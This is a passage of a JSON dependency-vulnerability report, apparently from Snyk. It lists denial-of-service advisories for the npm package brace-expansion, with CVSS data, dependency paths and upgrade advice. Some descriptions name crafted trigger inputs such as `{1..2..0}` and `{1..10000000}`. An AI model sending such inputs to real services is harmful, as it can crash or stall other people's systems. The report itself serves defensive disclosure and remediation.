* width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": 